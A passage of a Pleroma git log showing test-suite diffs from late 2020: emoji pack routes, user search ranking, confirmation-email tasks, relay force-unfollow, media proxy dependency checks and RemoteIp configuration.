put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/test_pack/files", %{ + |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ shortcode: "blank3", filename: "dir/blank.png", file: %Plug.Upload{ @@ -153,7 +153,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiFileControllerTest do assert admin_conn |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/test_pack/files", %{ + |> patch("/api/pleroma/emoji/packs/files?name=test_pack", %{ shortcode: "blank3", new_shortcode: "blank4", new_filename: "dir_2/blank_3.png", @@ -171,7 +171,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiFileControllerTest do test "with empty filename", %{admin_conn: admin_conn} do assert admin_conn |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/test_pack/files", %{ + |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ shortcode: "blank2", filename: "", file: %Plug.Upload{ @@ -187,7 +187,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiFileControllerTest do test "add file with not loaded pack", %{admin_conn: admin_conn} do assert admin_conn |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/not_loaded/files", %{ + |> post("/api/pleroma/emoji/packs/files?name=not_loaded", %{ shortcode: "blank3", filename: "dir/blank.png", file: %Plug.Upload{ @@ -202,7 +202,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiFileControllerTest do test "remove file with not loaded pack", %{admin_conn: admin_conn} do assert admin_conn - |> delete("/api/pleroma/emoji/packs/not_loaded/files?shortcode=blank3") + |> delete("/api/pleroma/emoji/packs/files?name=not_loaded&shortcode=blank3") |> json_response_and_validate_schema(:not_found) == %{ "error" => "pack \"not_loaded\" is not found" } @@ -210,7 +210,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiFileControllerTest do test "remove file with empty shortcode", %{admin_conn: admin_conn} do assert admin_conn - |> delete("/api/pleroma/emoji/packs/not_loaded/files?shortcode=") + |> delete("/api/pleroma/emoji/packs/files?name=not_loaded&shortcode=") |> json_response_and_validate_schema(:not_found) == %{ "error" => "pack \"not_loaded\" is not found" } @@ -219,7 +219,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiFileControllerTest do test "update file with not loaded pack", %{admin_conn: admin_conn} do assert admin_conn |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/not_loaded/files", %{ + |> patch("/api/pleroma/emoji/packs/files?name=not_loaded", %{ shortcode: "blank4", new_shortcode: "blank3", new_filename: "dir_2/blank_3.png" @@ -232,7 +232,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiFileControllerTest do test "new with shortcode as file with update", %{admin_conn: admin_conn} do assert admin_conn |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/test_pack/files", %{ + |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ shortcode: "blank4", filename: "dir/blank.png", file: %Plug.Upload{ @@ -250,7 +250,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiFileControllerTest do assert admin_conn |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/test_pack/files", %{ + |> patch("/api/pleroma/emoji/packs/files?name=test_pack", %{ shortcode: "blank4", new_shortcode: "blank3", new_filename: "dir_2/blank_3.png" @@ -265,7 +265,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiFileControllerTest do assert File.exists?("#{@emoji_path}/test_pack/dir_2/blank_3.png") assert admin_conn - |> delete("/api/pleroma/emoji/packs/test_pack/files?shortcode=blank3") + |> delete("/api/pleroma/emoji/packs/files?name=test_pack&shortcode=blank3") |> json_response_and_validate_schema(200) == %{ "blank" => "blank.png", "blank2" => "blank2.png" @@ -287,7 +287,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiFileControllerTest do assert admin_conn |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/test_pack/files", %{ + |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ shortcode: "blank_url", file: "https://test-blank/blank_url.png" }) @@ -307,7 +307,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiFileControllerTest do assert admin_conn |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/test_pack/files", %{ + |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ file: %Plug.Upload{ filename: "shortcode.png", path: "#{Pleroma.Config.get([:instance, :static_dir])}/add/shortcode.png" @@ -322,7 +322,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiFileControllerTest do test "remove non existing shortcode in pack.json", %{admin_conn: admin_conn} do assert admin_conn - |> delete("/api/pleroma/emoji/packs/test_pack/files?shortcode=blank3") + |> delete("/api/pleroma/emoji/packs/files?name=test_pack&shortcode=blank3") |> json_response_and_validate_schema(:bad_request) == %{ "error" => "Emoji \"blank3\" does not exist" } @@ -331,7 +331,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiFileControllerTest do test "update non existing emoji", %{admin_conn: admin_conn} do assert admin_conn |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/test_pack/files", %{ + |> patch("/api/pleroma/emoji/packs/files?name=test_pack", %{ shortcode: "blank3", new_shortcode: "blank4", new_filename: "dir_2/blank_3.png" @@ -347,7 +347,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiFileControllerTest do } = admin_conn |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/test_pack/files", %{ + |> patch("/api/pleroma/emoji/packs/files?name=test_pack", %{ shortcode: "blank", new_filename: "dir_2/blank_3.png" }) -- cgit v1.2.3 From 727a0556a996a4b990366c6f7ad45f78b0b34c4a Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Thu, 24 Sep 2020 09:47:23 +0300 Subject: fix --- test/emoji_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'test') diff --git a/test/emoji_test.exs b/test/emoji_test.exs index b36047578..1dd3c58c6 100644 --- a/test/emoji_test.exs +++ b/test/emoji_test.exs @@ -3,7 +3,7 @@ # SPDX-License-Identifier: AGPL-3.0-only defmodule Pleroma.EmojiTest do - use ExUnit.Case, async: true + use ExUnit.Case alias Pleroma.Emoji describe "is_unicode_emoji?/1" do -- cgit v1.2.3 From aa1f97a5b6904aec38621c9af79a81b5a7b62e30 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Thu, 24 Sep 2020 10:46:09 +0300 Subject: fix for test on mac --- test/utils_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'test') diff --git a/test/utils_test.exs b/test/utils_test.exs index 3a730d545..460f7e0b5 100644 --- a/test/utils_test.exs +++ b/test/utils_test.exs @@ -8,7 +8,7 @@ defmodule Pleroma.UtilsTest do describe "tmp_dir/1" do test "returns unique temporary directory" do {:ok, path} = Pleroma.Utils.tmp_dir("emoji") - assert path =~ ~r/\/tmp\/emoji-(.*)-#{:os.getpid()}-(.*)/ + assert path =~ ~r/\/emoji-(.*)-#{:os.getpid()}-(.*)/ File.rm_rf(path) end end -- cgit v1.2.3 From 165961f56dfa20d27869f53777798a8d4ce572f9 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Thu, 24 Sep 2020 12:00:39 +0300 Subject: don't run in async mode --- test/emoji_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'test') diff --git a/test/emoji_test.exs b/test/emoji_test.exs index b36047578..1dd3c58c6 100644 --- a/test/emoji_test.exs +++ b/test/emoji_test.exs @@ -3,7 +3,7 @@ # SPDX-License-Identifier: AGPL-3.0-only defmodule Pleroma.EmojiTest do - use ExUnit.Case, async: true + use ExUnit.Case alias Pleroma.Emoji describe "is_unicode_emoji?/1" do -- cgit v1.2.3 From 35d62a4a5602913de3a91582aa03d5af9ac7a5b0 Mon Sep 17 00:00:00 2001 From: lain Date: Thu, 24 Sep 2020 11:12:03 +0200 Subject: CommonAPI test: Add test for polls --- test/web/common_api/common_api_test.exs | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) (limited to 'test') diff --git a/test/web/common_api/common_api_test.exs b/test/web/common_api/common_api_test.exs index 2eab64e8b..e34f5a49b 100644 --- a/test/web/common_api/common_api_test.exs +++ b/test/web/common_api/common_api_test.exs @@ -29,6 +29,23 @@ defmodule Pleroma.Web.CommonAPITest do setup do: clear_config([:instance, :limit]) setup do: clear_config([:instance, :max_pinned_statuses]) + describe "posting polls" do + test "it posts a poll" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "who is the best", + poll: %{expires_in: 600, options: ["reimu", "marisa"]} + }) + + object = Object.normalize(activity) + + assert object.data["type"] == "Question" + assert object.data["oneOf"] |> length() == 2 + end + end + describe "blocking" do setup do blocker = insert(:user) -- cgit v1.2.3 From d0078bc40406939cb584847c90b00aad006812e4 Mon Sep 17 00:00:00 2001 From: lain Date: Thu, 24 Sep 2020 15:54:55 +0200 Subject: User Search: Boost resolved results and exact ap_id matches. --- test/user_search_test.exs | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) (limited to 'test') diff --git a/test/user_search_test.exs b/test/user_search_test.exs index 8529ce6db..68fda1c53 100644 --- a/test/user_search_test.exs +++ b/test/user_search_test.exs @@ -17,6 +17,25 @@ defmodule Pleroma.UserSearchTest do describe "User.search" do setup do: clear_config([:instance, :limit_to_local_content]) + test "returns a resolved user as the first result" do + Pleroma.Config.put([:instance, :limit_to_local_content], false) + user = insert(:user, %{nickname: "no_relation", ap_id: "https://lain.com/users/lain"}) + _user = insert(:user, %{nickname: "com_user"}) + + [first_user, _second_user] = User.search("https://lain.com/users/lain", resolve: true) + + assert first_user.id == user.id + end + + test "returns a user with matching ap_id as the first result" do + user = insert(:user, %{nickname: "no_relation", ap_id: "https://lain.com/users/lain"}) + _user = insert(:user, %{nickname: "com_user"}) + + [first_user, _second_user] = User.search("https://lain.com/users/lain") + + assert first_user.id == user.id + end + test "excludes invisible users from results" do user = insert(:user, %{nickname: "john t1000"}) insert(:user, %{invisible: true, nickname: "john t800"}) -- cgit v1.2.3 From 3bf3db39f5932601798db8fd34523abc1b60dea7 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Thu, 24 Sep 2020 18:24:44 -0500 Subject: Validate emails are sent to the appropriate unconfirmed actors --- test/tasks/email_test.exs | 69 +++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 69 insertions(+) (limited to 'test') diff --git a/test/tasks/email_test.exs b/test/tasks/email_test.exs index c3af7ef68..5393e3573 100644 --- a/test/tasks/email_test.exs +++ b/test/tasks/email_test.exs @@ -6,6 +6,8 @@ defmodule Mix.Tasks.Pleroma.EmailTest do alias Pleroma.Config alias Pleroma.Tests.ObanHelpers + import Pleroma.Factory + setup_all do Mix.shell(Mix.Shell.Process) @@ -17,6 +19,7 @@ defmodule Mix.Tasks.Pleroma.EmailTest do end setup do: clear_config([Pleroma.Emails.Mailer, :enabled], true) + setup do: clear_config([:instance, :account_activation_required], true) describe "pleroma.email test" do test "Sends test email with no given address" do @@ -50,5 +53,71 @@ defmodule Mix.Tasks.Pleroma.EmailTest do html_body: ~r/a test email was requested./i ) end + + test "Sends confirmation emails" do + local_user1 = + insert(:user, %{ + confirmation_pending: true, + confirmation_token: "mytoken", + deactivated: false, + email: "local1@pleroma.com", + local: true + }) + + local_user2 = + insert(:user, %{ + confirmation_pending: true, + confirmation_token: "mytoken", + deactivated: false, + email: "local2@pleroma.com", + local: true + }) + + :ok = Mix.Tasks.Pleroma.Email.run(["resend_confirmation_emails"]) + + ObanHelpers.perform_all() + + assert_email_sent(to: {local_user1.name, local_user1.email}) + assert_email_sent(to: {local_user2.name, local_user2.email}) + end + + test "Does not send confirmation email to inappropriate users" do + # confirmed user + insert(:user, %{ + confirmation_pending: false, + confirmation_token: "mytoken", + deactivated: false, + email: "confirmed@pleroma.com", + local: true + }) + + # remote user + insert(:user, %{ + deactivated: false, + email: "remote@not-pleroma.com", + local: false + }) + + # deactivated user = + insert(:user, %{ + deactivated: true, + email: "deactivated@pleroma.com", + local: false + }) + + # invisible user + insert(:user, %{ + deactivated: false, + email: "invisible@pleroma.com", + local: true, + invisible: true + }) + + :ok = Mix.Tasks.Pleroma.Email.run(["resend_confirmation_emails"]) + + ObanHelpers.perform_all() + + refute_email_sent() + end end end -- cgit v1.2.3 From a8c17ea25a79491328345f5834397eb6821a77f1 Mon Sep 17 00:00:00 2001 From: lain Date: Fri, 25 Sep 2020 08:46:14 +0200 Subject: User Search: Also find user by uri --- test/user_search_test.exs | 15 +++++++++++++++ 1 file changed, 15 insertions(+) (limited to 'test') diff --git a/test/user_search_test.exs b/test/user_search_test.exs index 68fda1c53..cc14e9741 100644 --- a/test/user_search_test.exs +++ b/test/user_search_test.exs @@ -36,6 +36,21 @@ defmodule Pleroma.UserSearchTest do assert first_user.id == user.id end + test "returns a user with matching uri as the first result" do + user = + insert(:user, %{ + nickname: "no_relation", + ap_id: "https://lain.com/users/lain", + uri: "https://lain.com/@lain" + }) + + _user = insert(:user, %{nickname: "com_user"}) + + [first_user, _second_user] = User.search("https://lain.com/@lain") + + assert first_user.id == user.id + end + test "excludes invisible users from results" do user = insert(:user, %{nickname: "john t1000"}) insert(:user, %{invisible: true, nickname: "john t800"}) -- cgit v1.2.3 From 1e0f3f8514a42b088ed68ece5f9e339ad829e242 Mon Sep 17 00:00:00 2001 From: lain Date: Fri, 25 Sep 2020 08:56:58 +0200 Subject: User search: Make uri matches case insensitive. --- test/user_search_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'test') diff --git a/test/user_search_test.exs b/test/user_search_test.exs index cc14e9741..b99a77b57 100644 --- a/test/user_search_test.exs +++ b/test/user_search_test.exs @@ -41,7 +41,7 @@ defmodule Pleroma.UserSearchTest do insert(:user, %{ nickname: "no_relation", ap_id: "https://lain.com/users/lain", - uri: "https://lain.com/@lain" + uri: "https://lain.com/@Lain" }) _user = insert(:user, %{nickname: "com_user"}) -- cgit v1.2.3 From 4a30598b9eac9d231546078191ff91b933d63de3 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Fri, 25 Sep 2020 12:20:52 -0500 Subject: Config settings leak and break configdb migration tests when async --- test/config/deprecation_warnings_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'test') diff --git a/test/config/deprecation_warnings_test.exs b/test/config/deprecation_warnings_test.exs index 28355d7eb..f81a7b580 100644 --- a/test/config/deprecation_warnings_test.exs +++ b/test/config/deprecation_warnings_test.exs @@ -1,5 +1,5 @@ defmodule Pleroma.Config.DeprecationWarningsTest do - use ExUnit.Case, async: true + use ExUnit.Case use Pleroma.Tests.Helpers import ExUnit.CaptureLog -- cgit v1.2.3 From 93b674b66da31964e838c8632ce8cdd7e722516a Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Fri, 25 Sep 2020 12:46:49 -0500 Subject: Fix test failures for NoOpPolicy describe/0 --- test/web/activity_pub/mrf/mrf_test.exs | 2 ++ 1 file changed, 2 insertions(+) (limited to 'test') diff --git a/test/web/activity_pub/mrf/mrf_test.exs b/test/web/activity_pub/mrf/mrf_test.exs index a63b25423..e82c8afa6 100644 --- a/test/web/activity_pub/mrf/mrf_test.exs +++ b/test/web/activity_pub/mrf/mrf_test.exs @@ -61,6 +61,8 @@ defmodule Pleroma.Web.ActivityPub.MRFTest do describe "describe/0" do test "it works as expected with noop policy" do + clear_config([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.NoOpPolicy]) + expected = %{ mrf_policies: ["NoOpPolicy"], exclusions: false -- cgit v1.2.3 From 4e4f77108207157a49a627edb03951e2f15b62f1 Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Sat, 26 Sep 2020 19:32:16 +0300 Subject: Adjusted MediaProxyControllerTest to gracefully fail on missing dependencies. Installation docs update. Added ffmpeg/imagemagick checks to launch checks (if media preview proxy is enabled). Added documentation on installing optional media / graphics packages (imagemagick, ffmpeg, exiftool). --- test/web/media_proxy/media_proxy_controller_test.exs | 15 +++++++++++++++ 1 file changed, 15 insertions(+) (limited to 'test') diff --git a/test/web/media_proxy/media_proxy_controller_test.exs b/test/web/media_proxy/media_proxy_controller_test.exs index 33e6873f7..e9b584822 100644 --- a/test/web/media_proxy/media_proxy_controller_test.exs +++ b/test/web/media_proxy/media_proxy_controller_test.exs @@ -81,6 +81,15 @@ defmodule Pleroma.Web.MediaProxy.MediaProxyControllerTest do end describe "Media Preview Proxy" do + def assert_dependencies_installed do + missing_dependencies = Pleroma.Helpers.MediaHelper.missing_dependencies() + + assert missing_dependencies == [], + "Error: missing dependencies (please refer to `docs/installation`): #{ + inspect(missing_dependencies) + }" + end + setup do clear_config([:media_proxy, :enabled], true) clear_config([:media_preview_proxy, :enabled], true) @@ -184,6 +193,8 @@ defmodule Pleroma.Web.MediaProxy.MediaProxyControllerTest do url: url, media_proxy_url: media_proxy_url } do + assert_dependencies_installed() + # Setting a high :min_content_length to ensure this scenario is not affected by its logic clear_config([:media_preview_proxy, :min_content_length], 1_000_000_000) @@ -270,6 +281,8 @@ defmodule Pleroma.Web.MediaProxy.MediaProxyControllerTest do url: url, media_proxy_url: media_proxy_url } do + assert_dependencies_installed() + Tesla.Mock.mock(fn %{method: "head", url: ^media_proxy_url} -> %Tesla.Env{status: 200, body: "", headers: [{"content-type", "image/png"}]} @@ -290,6 +303,8 @@ defmodule Pleroma.Web.MediaProxy.MediaProxyControllerTest do url: url, media_proxy_url: media_proxy_url } do + assert_dependencies_installed() + Tesla.Mock.mock(fn %{method: "head", url: ^media_proxy_url} -> %Tesla.Env{status: 200, body: "", headers: [{"content-type", "image/jpeg"}]} -- cgit v1.2.3 From de993b856bc2145e7c4aaa47767c7edc826798c7 Mon Sep 17 00:00:00 2001 From: Maksim Pechnikov Date: Mon, 28 Sep 2020 09:16:42 +0300 Subject: added `force` option to the unfollow operation --- test/tasks/relay_test.exs | 74 ++++++++++++++++++++++++++++++++++++ test/web/activity_pub/relay_test.exs | 40 +++++++++++++++++++ 2 files changed, 114 insertions(+) (limited to 'test') diff --git a/test/tasks/relay_test.exs b/test/tasks/relay_test.exs index e5225b64c..cf48e7dda 100644 --- a/test/tasks/relay_test.exs +++ b/test/tasks/relay_test.exs @@ -81,6 +81,80 @@ defmodule Mix.Tasks.Pleroma.RelayTest do assert undo_activity.data["object"]["id"] == cancelled_activity.data["id"] refute "#{target_instance}/followers" in User.following(local_user) end + + test "unfollow when relay is dead" do + user = insert(:user) + target_instance = user.ap_id + + Mix.Tasks.Pleroma.Relay.run(["follow", target_instance]) + + %User{ap_id: follower_id} = local_user = Relay.get_actor() + target_user = User.get_cached_by_ap_id(target_instance) + follow_activity = Utils.fetch_latest_follow(local_user, target_user) + User.follow(local_user, target_user) + + assert "#{target_instance}/followers" in User.following(local_user) + + Tesla.Mock.mock(fn %{method: :get, url: ^target_instance} -> + %Tesla.Env{status: 404} + end) + + Pleroma.Repo.delete(user) + Cachex.clear(:user_cache) + + Mix.Tasks.Pleroma.Relay.run(["unfollow", target_instance]) + + cancelled_activity = Activity.get_by_ap_id(follow_activity.data["id"]) + assert cancelled_activity.data["state"] == "accept" + + assert [] == + ActivityPub.fetch_activities( + [], + %{ + type: "Undo", + actor_id: follower_id, + skip_preload: true, + invisible_actors: true + } + ) + end + + test "force unfollow when relay is dead" do + user = insert(:user) + target_instance = user.ap_id + + Mix.Tasks.Pleroma.Relay.run(["follow", target_instance]) + + %User{ap_id: follower_id} = local_user = Relay.get_actor() + target_user = User.get_cached_by_ap_id(target_instance) + follow_activity = Utils.fetch_latest_follow(local_user, target_user) + User.follow(local_user, target_user) + + assert "#{target_instance}/followers" in User.following(local_user) + + Tesla.Mock.mock(fn %{method: :get, url: ^target_instance} -> + %Tesla.Env{status: 404} + end) + + Pleroma.Repo.delete(user) + Cachex.clear(:user_cache) + + Mix.Tasks.Pleroma.Relay.run(["unfollow", target_instance, "--force"]) + + cancelled_activity = Activity.get_by_ap_id(follow_activity.data["id"]) + assert cancelled_activity.data["state"] == "cancelled" + + [undo_activity] = + ActivityPub.fetch_activities( + [], + %{type: "Undo", actor_id: follower_id, skip_preload: true, invisible_actors: true} + ) + + assert undo_activity.data["type"] == "Undo" + assert undo_activity.data["actor"] == local_user.ap_id + assert undo_activity.data["object"]["id"] == cancelled_activity.data["id"] + refute "#{target_instance}/followers" in User.following(local_user) + end end describe "mix pleroma.relay list" do diff --git a/test/web/activity_pub/relay_test.exs b/test/web/activity_pub/relay_test.exs index 9d657ac4f..3284980f7 100644 --- a/test/web/activity_pub/relay_test.exs +++ b/test/web/activity_pub/relay_test.exs @@ -63,6 +63,46 @@ defmodule Pleroma.Web.ActivityPub.RelayTest do assert activity.data["to"] == [user.ap_id] refute "#{user.ap_id}/followers" in User.following(service_actor) end + + test "force unfollow when target service is dead" do + user = insert(:user) + user_ap_id = user.ap_id + user_id = user.id + + Tesla.Mock.mock(fn %{method: :get, url: ^user_ap_id} -> + %Tesla.Env{status: 404} + end) + + service_actor = Relay.get_actor() + CommonAPI.follow(service_actor, user) + assert "#{user.ap_id}/followers" in User.following(service_actor) + + assert Pleroma.Repo.get_by( + Pleroma.FollowingRelationship, + follower_id: service_actor.id, + following_id: user_id + ) + + Pleroma.Repo.delete(user) + Cachex.clear(:user_cache) + + assert {:ok, %Activity{} = activity} = Relay.unfollow(user_ap_id, %{force: true}) + + assert refresh_record(service_actor).following_count == 0 + + refute Pleroma.Repo.get_by( + Pleroma.FollowingRelationship, + follower_id: service_actor.id, + following_id: user_id + ) + + assert activity.actor == "#{Pleroma.Web.Endpoint.url()}/relay" + assert user.ap_id in activity.recipients + assert activity.data["type"] == "Undo" + assert activity.data["actor"] == service_actor.ap_id + assert activity.data["to"] == [user_ap_id] + refute "#{user.ap_id}/followers" in User.following(service_actor) + end end describe "publish/1" do -- cgit v1.2.3 From 7bc561127da6489862d3b7ea49ebc853c0267729 Mon Sep 17 00:00:00 2001 From: rinpatch Date: Mon, 28 Sep 2020 18:15:31 +0300 Subject: Revert citext user URI migration URI paths are not actually case-insesitive, which caused migration issues on a number of databases. Closes #2188 --- test/user_search_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'test') diff --git a/test/user_search_test.exs b/test/user_search_test.exs index b99a77b57..cc14e9741 100644 --- a/test/user_search_test.exs +++ b/test/user_search_test.exs @@ -41,7 +41,7 @@ defmodule Pleroma.UserSearchTest do insert(:user, %{ nickname: "no_relation", ap_id: "https://lain.com/users/lain", - uri: "https://lain.com/@Lain" + uri: "https://lain.com/@lain" }) _user = insert(:user, %{nickname: "com_user"}) -- cgit v1.2.3 From ba7f9459b4798388eb4e441d096302c018354033 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Mon, 28 Sep 2020 18:22:59 -0500 Subject: Revert Rich Media censorship for sensitive statuses The #NSFW hashtag test was broken anyway. --- test/web/rich_media/helpers_test.exs | 35 ----------------------------------- 1 file changed, 35 deletions(-) (limited to 'test') diff --git a/test/web/rich_media/helpers_test.exs b/test/web/rich_media/helpers_test.exs index 8264a9c41..4b97bd66b 100644 --- a/test/web/rich_media/helpers_test.exs +++ b/test/web/rich_media/helpers_test.exs @@ -64,41 +64,6 @@ defmodule Pleroma.Web.RichMedia.HelpersTest do Pleroma.Web.RichMedia.Helpers.fetch_data_for_activity(activity) end - test "refuses to crawl URLs from posts marked sensitive" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "http://example.com/ogp", - sensitive: true - }) - - %Object{} = object = Object.normalize(activity) - - assert object.data["sensitive"] - - Config.put([:rich_media, :enabled], true) - - assert %{} = Pleroma.Web.RichMedia.Helpers.fetch_data_for_activity(activity) - end - - test "refuses to crawl URLs from posts tagged NSFW" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "http://example.com/ogp #nsfw" - }) - - %Object{} = object = Object.normalize(activity) - - assert object.data["sensitive"] - - Config.put([:rich_media, :enabled], true) - - assert %{} = Pleroma.Web.RichMedia.Helpers.fetch_data_for_activity(activity) - end - test "refuses to crawl URLs of private network from posts" do user = insert(:user) -- cgit v1.2.3 From 90fee49c52799a7d6ad890ecc49d146ab6ad8455 Mon Sep 17 00:00:00 2001 From: lain Date: Wed, 30 Sep 2020 14:14:41 +0200 Subject: User search: Once again, change uri handling. They can indeed be non-unique. --- test/user_search_test.exs | 6 ++++++ 1 file changed, 6 insertions(+) (limited to 'test') diff --git a/test/user_search_test.exs b/test/user_search_test.exs index cc14e9741..c4b805005 100644 --- a/test/user_search_test.exs +++ b/test/user_search_test.exs @@ -36,6 +36,12 @@ defmodule Pleroma.UserSearchTest do assert first_user.id == user.id end + test "doesn't die if two users have the same uri" do + insert(:user, %{uri: "https://gensokyo.2hu/@raymoo"}) + insert(:user, %{uri: "https://gensokyo.2hu/@raymoo"}) + assert [_first_user, _second_user] = User.search("https://gensokyo.2hu/@raymoo") + end + test "returns a user with matching uri as the first result" do user = insert(:user, %{ -- cgit v1.2.3 From cbdaabad345914e7424e614032056ff86e21142f Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Thu, 1 Oct 2020 13:32:11 +0300 Subject: web push http_client fix --- test/support/web_push_http_client_mock.ex | 23 ----------------------- test/web/push/impl_test.exs | 22 ++-------------------- 2 files changed, 2 insertions(+), 43 deletions(-) delete mode 100644 test/support/web_push_http_client_mock.ex (limited to 'test') diff --git a/test/support/web_push_http_client_mock.ex b/test/support/web_push_http_client_mock.ex deleted file mode 100644 index 3cd12957d..000000000 --- a/test/support/web_push_http_client_mock.ex +++ /dev/null @@ -1,23 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.WebPushHttpClientMock do - def get(url, headers \\ [], options \\ []) do - { - res, - %Tesla.Env{status: status} - } = Pleroma.HTTP.request(:get, url, "", headers, options) - - {res, %{status_code: status}} - end - - def post(url, body, headers \\ [], options \\ []) do - { - res, - %Tesla.Env{status: status} - } = Pleroma.HTTP.request(:post, url, body, headers, options) - - {res, %{status_code: status}} - end -end diff --git a/test/web/push/impl_test.exs b/test/web/push/impl_test.exs index c7c17e156..6cab46696 100644 --- a/test/web/push/impl_test.exs +++ b/test/web/push/impl_test.exs @@ -5,6 +5,8 @@ defmodule Pleroma.Web.Push.ImplTest do use Pleroma.DataCase + import Pleroma.Factory + alias Pleroma.Notification alias Pleroma.Object alias Pleroma.User @@ -12,10 +14,6 @@ defmodule Pleroma.Web.Push.ImplTest do alias Pleroma.Web.CommonAPI alias Pleroma.Web.Push.Impl alias Pleroma.Web.Push.Subscription - alias Pleroma.Web.WebPushHttpClientMock - - import Mock - import Pleroma.Factory setup do Tesla.Mock.mock(fn @@ -80,22 +78,6 @@ defmodule Pleroma.Web.Push.ImplTest do assert Impl.push_message(@message, @sub, @api_key, %Subscription{}) == :ok end - test_with_mock "uses WebPushHttpClientMock as an HTTP client", WebPushHttpClientMock, - post: fn _, _, _ -> {:ok, %{status_code: 200}} end do - Impl.push_message(@message, @sub, @api_key, %Subscription{}) - assert_called(WebPushHttpClientMock.post("https://example.com/example/1234", :_, :_)) - end - - test_with_mock "uses Pleroma.HTTP as an HTTP client", Pleroma.HTTP, - post: fn _, _, _ -> {:ok, %{status_code: 200}} end do - client = Application.get_env(:web_push_encryption, :http_client) - on_exit(fn -> Application.put_env(:web_push_encryption, :http_client, client) end) - Application.put_env(:web_push_encryption, :http_client, Pleroma.HTTP) - - Impl.push_message(@message, @sub, @api_key, %Subscription{}) - assert_called(Pleroma.HTTP.post("https://example.com/example/1234", :_, :_)) - end - @tag capture_log: true test "fail message sending" do assert Impl.push_message( -- cgit v1.2.3 From d43d05005ae4e8b0f069111baee867492d4f0c52 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Tue, 6 Oct 2020 17:02:46 -0500 Subject: Move hardcoded default configuration into config.exs --- test/plugs/remote_ip_test.exs | 24 +++++++++++++++++------- 1 file changed, 17 insertions(+), 7 deletions(-) (limited to 'test') diff --git a/test/plugs/remote_ip_test.exs b/test/plugs/remote_ip_test.exs index 752ab32e7..2dd1ac1f8 100644 --- a/test/plugs/remote_ip_test.exs +++ b/test/plugs/remote_ip_test.exs @@ -3,13 +3,27 @@ # SPDX-License-Identifier: AGPL-3.0-only defmodule Pleroma.Plugs.RemoteIpTest do - use ExUnit.Case, async: true + use ExUnit.Case use Plug.Test alias Pleroma.Plugs.RemoteIp - import Pleroma.Tests.Helpers, only: [clear_config: 1, clear_config: 2] - setup do: clear_config(RemoteIp) + import Pleroma.Tests.Helpers, only: [clear_config: 2] + + setup do: + clear_config(RemoteIp, + enabled: true, + headers: ["x-forwarded-for"], + proxies: [], + reserved: [ + "127.0.0.0/8", + "::1/128", + "fc00::/7", + "10.0.0.0/8", + "172.16.0.0/12", + "192.168.0.0/16" + ] + ) test "disabled" do Pleroma.Config.put(RemoteIp, enabled: false) @@ -25,8 +39,6 @@ defmodule Pleroma.Plugs.RemoteIpTest do end test "enabled" do - Pleroma.Config.put(RemoteIp, enabled: true) - conn = conn(:get, "/") |> put_req_header("x-forwarded-for", "1.1.1.1") @@ -54,8 +66,6 @@ defmodule Pleroma.Plugs.RemoteIpTest do end test "custom proxies" do - Pleroma.Config.put(RemoteIp, enabled: true) - conn = conn(:get, "/") |> put_req_header("x-forwarded-for", "173.245.48.1, 1.1.1.1, 173.245.48.2") -- cgit v1.2.3 From 9783e9cd8023533d05bf78e3db3375102a199fc0 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Tue, 